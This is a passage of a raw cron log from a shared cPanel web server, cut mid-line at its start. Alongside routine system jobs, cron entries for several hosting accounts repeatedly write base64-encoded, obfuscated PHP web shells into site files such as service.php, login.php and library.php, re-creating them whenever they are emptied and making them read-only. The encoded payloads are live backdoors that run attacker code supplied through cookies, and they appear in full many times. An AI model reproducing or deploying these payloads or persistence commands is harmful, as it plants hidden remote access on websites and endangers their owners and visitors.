ICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:07:01 medusa CROND[22940]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:07:01 medusa CROND[22941]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:07:01 medusa CROND[22942]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:07:01 medusa CROND[22965]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:08:02 medusa CROND[13263]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:08:02 medusa CROND[13264]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 04:08:02 medusa CROND[13265]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:08:02 medusa CROND[13266]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:08:02 medusa CROND[13267]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:08:02 medusa CROND[13268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:08:02 medusa CROND[13269]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 04:08:02 medusa CROND[13270]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:08:02 medusa CROND[13272]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:08:02 medusa CROND[13271]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:08:02 medusa CROND[13278]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:08:02 medusa CROND[13279]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:08:02 medusa CROND[13289]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:08:02 medusa CROND[13277]: (root) CMD (/usr/bin/flock -n /var/run/setup_cl_plus.cronlock /usr/share/cloudlinux/cl_plus/manage_clplus &> /dev/null)
Mar  1 04:09:01 medusa CROND[2902]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 04:09:01 medusa CROND[2960]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 04:09:01 medusa CROND[2961]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 04:09:01 medusa CROND[2962]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 04:09:01 medusa CROND[2963]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:09:01 medusa CROND[2966]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 04:09:01 medusa CROND[2968]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:09:01 medusa CROND[2965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:09:01 medusa CROND[2972]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:09:01 medusa CROND[2975]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 04:09:01 medusa CROND[2976]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 04:09:01 medusa CROND[2970]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 04:09:01 medusa CROND[2971]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[25962]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  1 04:10:01 medusa CROND[25973]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  1 04:10:01 medusa CROND[26071]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 04:10:01 medusa CROND[26074]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  1 04:10:01 medusa CROND[26075]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 04:10:01 medusa CROND[26082]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  1 04:10:01 medusa CROND[26085]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  1 04:10:01 medusa CROND[26083]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
